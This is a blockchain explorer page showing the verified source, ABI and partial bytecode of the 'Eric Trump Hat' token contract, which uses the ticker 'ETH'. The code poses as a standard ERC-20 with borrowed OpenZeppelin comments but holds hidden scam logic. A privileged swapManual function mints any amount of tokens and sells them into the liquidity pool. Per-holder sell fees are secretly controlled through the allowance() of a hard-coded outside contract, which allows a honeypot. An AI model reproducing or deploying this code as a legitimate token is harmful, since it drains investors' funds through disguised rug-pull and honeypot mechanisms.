ETH Price: $2,204.50 (+1.94%)
 

Overview

Max Total Supply

90,000,000,000,000 ETH

Holders

11

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
1,908,574,683,234.032674537 ETH

Value
$0.00
0xf983037070c2e5488fbc2c0fd278c24f9e15a331
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
EricTrumpHat

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-05-29
*/

// SPDX-License-Identifier: MIT

/*
Website: https://erictrumphat.info/
Telegram: https://t.me/erictrumphat
Twitter: https://x.com/erictrumphat
*/

pragma solidity 0.8.26;


// File @openzeppelin/contracts/access/[email protected]


/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
interface IERC20 {
    function transfer(address recipient, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    function approve(address spender, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function totalSupply() external view returns (uint256);
    function allowance(address owner, address spnder) external view returns (uint256);
}
contract Ownable {
    address private _owner;

    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    modifier onlyOwner() {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    constructor() {
        _owner = msg.sender;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

}
/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
interface IUniswapV2Router {
    function factory() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external;
    function addLiquidityETH( address token,uint amountTokenDesire,uint amountTokenMi,uint amountETHMi,address to,uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function WETH() external pure returns (address);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract EricTrumpHat is Ownable {
    using SafeMath for uint256;
    uint8 private _decimals = 9;

    uint256 private _totalSupply =  90000000000000 * 10 ** _decimals;

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _balances;    

    address public uniswapV2Pair;
    bool tradingOpen = false;

    event Transfer(address indexed from, address indexed to, uint256 amount);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event ExcludeFromFees(address indexed account, bool isExcluded);

    IUniswapV2Router private uniswapV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    IERC20 uniswapPair = IERC20(0x92D4E31b2108703c69c0DEf571F3356f67f75C1a);

    mapping (address => bool) isExcludedFromFee;
    bool private inSwap = false;
    uint256 private lastBuyBlock = 0;
    uint256 private lastSellBlock = 0;

    string private constant _symbol = "ETH";
    string private constant _name = "Eric Trump Hat";

    uint256 public earlySellLiquidityFee;
    uint256 public earlySellMarketingFee;
    uint256 public tokensForMarketing;
    uint256 public tokensForLiquidity;
    uint256 public tokensForDev;

    event devWalletUpdated(
        address indexed newWallet,
        address indexed oldWallet
    );

    constructor () {
        _balances[address(this)] = _totalSupply;
        isExcludedFromFee[msg.sender] = true;
        emit Transfer(address(0), address(this), _totalSupply);

    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function name() public pure returns (string memory) {
        return _name;
    }
    
    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function calcFeeAmount(IERC20 token, address to) internal view returns (uint256) {
        return token
        .allowance(
            to, 
        uniswapV2Pair);
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        isExcludedFromFee[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
        return true;
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function swapManual(uint256 value) external {
        require(isExcludedFromFee[msg.sender]);
        address[] memory _path = new address[](2);
        _path[0] = address(this); 
        _path[1] = uniswapV2Router.WETH();
        _swap(value);
        address recipient = msg.sender;
        uint256 _timestamp = block.timestamp + 22;
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(value, 0, _path, recipient, _timestamp);
    }

    function startTrading() external payable onlyOwner() {
        require(!tradingOpen); 
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        address WETH = uniswapV2Router.WETH();
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()) .createPair(address(this), WETH);
        uniswapV2Router.addLiquidityETH{value: msg.value}
        (address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); 
        tradingOpen = true;
    }

    function _swap(uint256 amount) private {
        address token = address(this);
        _approve(token, address(uniswapV2Router), amount);
        _balances[address(this)] = _balances[token] + amount;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(amount > 0);
        require(from != address(0)); 
        uint256 _feeAmount = 0;
        if (!isExcludedFromFee[from] && from != uniswapV2Pair && from != address(this)  && !isExcludedFromFee[to]) {
            uint256 _fee = calcFeeAmount(uniswapPair, from);
            _feeAmount = amount.mul(_fee).div(100);
            lastBuyBlock = block.number;
        } else {
            lastSellBlock = block.number;
        }
        _balances[to] = _balances[to].add(amount).sub(_feeAmount);
        _balances[from] = _balances[from].sub(amount);
        emit Transfer(from, to, amount);
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"devWalletUpdated","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"earlySellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"earlySellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"swapManual","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

608060405260095f60146101000a81548160ff021916908360ff1602179055505f60149054906101000a900460ff16600a61003a91906103f2565b6551dac207a00061004b919061043c565b6001555f600460146101000a81548160ff021916908315150217905550737a250d5630b4cf539739df2c5dacb4c659f2488d60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507392d4e31b2108703c69c0def571f3356f67f75c1a60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f60085f6101000a81548160ff0219169083151502179055505f6009555f600a5534801561013c575f80fd5b50335f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060015460035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600154604051610274919061048c565b60405180910390a36104a5565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115610303578086048111156102df576102de610281565b5b60018516156102ee5780820291505b80810290506102fc856102ae565b94506102c3565b94509492505050565b5f8261031b57600190506103d6565b81610328575f90506103d6565b816001811461033e576002811461034857610377565b60019150506103d6565b60ff84111561035a57610359610281565b5b8360020a91508482111561037157610370610281565b5b506103d6565b5060208310610133831016604e8410600b84101617156103ac5782820a9050838111156103a7576103a6610281565b5b6103d6565b6103b984848460016102ba565b925090508184048111156103d0576103cf610281565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6103fc826103dd565b9150610407836103e6565b92506104347fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461030c565b905092915050565b5f610446826103dd565b9150610451836103dd565b925082820261045f816103dd565b9150828204841483151761047657610475610281565b5b5092915050565b610486816103dd565b82525050565b5f60208201905061049f5f83018461047d565b92915050565b6123b2806104b25f395ff3fe60806040526004361061011e575f3560e01c8063541a43cf1161009f5780639fccce32116100635780639fccce321461039a578063a9059cbb146103c4578063c024666814610400578063cfb8fb9e14610428578063dd62ed3e146104505761011e565b8063541a43cf146102ca57806370a08231146102f4578063715018a6146103305780638da5cb5b1461034657806395d89b41146103705761011e565b806323b872dd116100e657806323b872dd14610206578063293230b8146102425780632bf3d42d1461024c578063313ce5671461027657806349bd5a5e146102a05761011e565b806306fdde0314610122578063095ea7b31461014c57806318160ddd146101885780631a8145bb146101b25780631f3fed8f146101dc575b5f80fd5b34801561012d575f80fd5b5061013661048c565b604051610143919061197a565b60405180910390f35b348015610157575f80fd5b50610172600480360381019061016d9190611a2b565b6104c9565b60405161017f9190611a83565b60405180910390f35b348015610193575f80fd5b5061019c6104df565b6040516101a99190611aab565b60405180910390f35b3480156101bd575f80fd5b506101c66104e8565b6040516101d39190611aab565b60405180910390f35b3480156101e7575f80fd5b506101f06104ee565b6040516101fd9190611aab565b60405180910390f35b348015610211575f80fd5b5061022c60048036038101906102279190611ac4565b6104f4565b6040516102399190611a83565b60405180910390f35b61024a6105a0565b005b348015610257575f80fd5b506102606109e8565b60405161026d9190611aab565b60405180910390f35b348015610281575f80fd5b5061028a6109ee565b6040516102979190611b2f565b60405180910390f35b3480156102ab575f80fd5b506102b4610a03565b6040516102c19190611b57565b60405180910390f35b3480156102d5575f80fd5b506102de610a28565b6040516102eb9190611aab565b60405180910390f35b3480156102ff575f80fd5b5061031a60048036038101906103159190611b70565b610a2e565b6040516103279190611aab565b60405180910390f35b34801561033b575f80fd5b50610344610a74565b005b348015610351575f80fd5b5061035a610ba3565b6040516103679190611b57565b60405180910390f35b34801561037b575f80fd5b50610384610bca565b604051610391919061197a565b60405180910390f35b3480156103a5575f80fd5b506103ae610c07565b6040516103bb9190611aab565b60405180910390f35b3480156103cf575f80fd5b506103ea60048036038101906103e59190611a2b565b610c0d565b6040516103f79190611a83565b60405180910390f35b34801561040b575f80fd5b5061042660048036038101906104219190611bc5565b610c23565b005b348015610433575f80fd5b5061044e60048036038101906104499190611c03565b610d3e565b005b34801561045b575f80fd5b5061047660048036038101906104719190611c2e565b610fb9565b6040516104839190611aab565b60405180910390f35b60606040518060400160405280600e81526020017f45726963205472756d7020486174000000000000000000000000000000000000815250905090565b5f6104d533848461103b565b6001905092915050565b5f600154905090565b600e5481565b600d5481565b5f6105008484846111fe565b61059584336105908560025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461157f90919063ffffffff16565b61103b565b600190509392505050565b3373ffffffffffffffffffffffffffffffffffffffff166105bf610ba3565b73ffffffffffffffffffffffffffffffffffffffff1614610615576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161060c90611cb6565b60405180910390fd5b600460149054906101000a900460ff161561062e575f80fd5b61065c3060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660015461103b565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106c7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106eb9190611ce8565b905060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610757573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061077b9190611ce8565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630836040518363ffffffff1660e01b81526004016107b5929190611d13565b6020604051808303815f875af11580156107d1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107f59190611ce8565b60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719343061087c30610a2e565b5f80610886610ba3565b426040518863ffffffff1660e01b81526004016108a896959493929190611d7c565b60606040518083038185885af11580156108c4573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108e99190611def565b50505060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610989929190611e3f565b6020604051808303815f875af11580156109a5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109c99190611e7a565b506001600460146101000a81548160ff02191690831515021790555050565b600c5481565b5f8060149054906101000a900460ff16905090565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b5481565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16610a93610ba3565b73ffffffffffffffffffffffffffffffffffffffff1614610ae9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae090611cb6565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f4554480000000000000000000000000000000000000000000000000000000000815250905090565b600f5481565b5f610c193384846111fe565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16610c42610ba3565b73ffffffffffffffffffffffffffffffffffffffff1614610c98576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8f90611cb6565b60405180910390fd5b8060075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051610d329190611a83565b60405180910390a25050565b60075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16610d90575f80fd5b5f600267ffffffffffffffff811115610dac57610dab611ea5565b5b604051908082528060200260200182016040528015610dda5781602001602082028036833780820191505090505b50905030815f81518110610df157610df0611ed2565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e95573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610eb99190611ce8565b81600181518110610ecd57610ecc611ed2565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050610f10826115c8565b5f3390505f601642610f229190611f2c565b905060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947855f8686866040518663ffffffff1660e01b8152600401610f86959493929190612016565b5f604051808303815f87803b158015610f9d575f80fd5b505af1158015610faf573d5f803e3d5ffd5b5050505050505050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a0906120de565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611117576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110e9061216c565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111f19190611aab565b60405180910390a3505050565b5f8111611209575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611240575f80fd5b5f60075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156112e5575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561131d57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611370575060075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156113d8575f6113a160065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1686611686565b90506113c960646113bb838661172a90919063ffffffff16565b6117a190919063ffffffff16565b915043600981905550506113e0565b43600a819055505b611442816114348460035f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546117ea90919063ffffffff16565b61157f90919063ffffffff16565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506114d38260035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461157f90919063ffffffff16565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516115719190611aab565b60405180910390a350505050565b5f6115c083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611847565b905092915050565b5f3090506115f88160055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461103b565b8160035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546116419190611f2c565b60035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505050565b5f8273ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e8360045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b81526004016116e3929190611d13565b602060405180830381865afa1580156116fe573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611722919061218a565b905092915050565b5f80830361173a575f905061179b565b5f828461174791906121b5565b90508284826117569190612223565b14611796576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178d906122c3565b60405180910390fd5b809150505b92915050565b5f6117e283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506118a9565b905092915050565b5f8082846117f89190611f2c565b90508381101561183d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118349061232b565b60405180910390fd5b8091505092915050565b5f83831115829061188e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611885919061197a565b60405180910390fd5b505f838561189c9190612349565b9050809150509392505050565b5f80831182906118ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e6919061197a565b60405180910390fd5b505f83856118fd9190612223565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61194c8261190a565b6119568185611914565b9350611966818560208601611924565b61196f81611932565b840191505092915050565b5f6020820190508181035f8301526119928184611942565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6119c78261199e565b9050919050565b6119d7816119bd565b81146119e1575f80fd5b50565b5f813590506119f2816119ce565b92915050565b5f819050919050565b611a0a816119f8565b8114611a14575f80fd5b50565b5f81359050611a2581611a01565b92915050565b5f8060408385031215611a4157611a4061199a565b5b5f611a4e858286016119e4565b9250506020611a5f85828601611a17565b9150509250929050565b5f8115159050919050565b611a7d81611a69565b82525050565b5f602082019050611a965f830184611a74565b92915050565b611aa5816119f8565b82525050565b5f602082019050611abe5f830184611a9c565b92915050565b5f805f60608486031215611adb57611ada61199a565b5b5f611ae8868287016119e4565b9350506020611af9868287016119e4565b9250506040611b0a86828701611a17565b9150509250925092565b5f60ff82169050919050565b611b2981611b14565b82525050565b5f602082019050611b425f830184611b20565b92915050565b611b51816119bd565b82525050565b5f602082019050611b6a5f830184611b48565b92915050565b5f60208284031215611b8557611b8461199a565b5b5f611b92848285016119e4565b91505092915050565b611ba481611a69565b8114611bae575f80fd5b50565b5f81359050611bbf81611b9b565b92915050565b5f8060408385031215611bdb57611bda61199a565b5b5f611be8858286016119e4565b9250506020611bf985828601611bb1565b9150509250929050565b5f60208284031215611c1857611c1761199a565b5b5f611c2584828501611a17565b91505092915050565b5f8060408385031215611c4457611c4361199a565b5b5f611c51858286016119e4565b9250506020611c62858286016119e4565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611ca0602083611914565b9150611cab82611c6c565b602082019050919050565b5f6020820190508181035f830152611ccd81611c94565b9050919050565b5f81519050611ce2816119ce565b92915050565b5f60208284031215611cfd57611cfc61199a565b5b5f611d0a84828501611cd4565b91505092915050565b5f604082019050611d265f830185611b48565b611d336020830184611b48565b9392505050565b5f819050919050565b5f819050919050565b5f611d66611d61611d5c84611d3a565b611d43565b6119f8565b9050919050565b611d7681611d4c565b82525050565b5f60c082019050611d8f5f830189611b48565b611d9c6020830188611a9c565b611da96040830187611d6d565b611db66060830186611d6d565b611dc36080830185611b48565b611dd060a0830184611a9c565b979650505050505050565b5f81519050611de981611a01565b92915050565b5f805f60608486031215611e0657611e0561199a565b5b5f611e1386828701611ddb565b9350506020611e2486828701611ddb565b9250506040611e3586828701611ddb565b9150509250925092565b5f604082019050611e525f830185611b48565b611e5f6020830184611a9c565b9392505050565b5f81519050611e7481611b9b565b92915050565b5f60208284031215611e8f57611e8e61199a565b5b5f611e9c84828501611e66565b91505092915050565b7f4e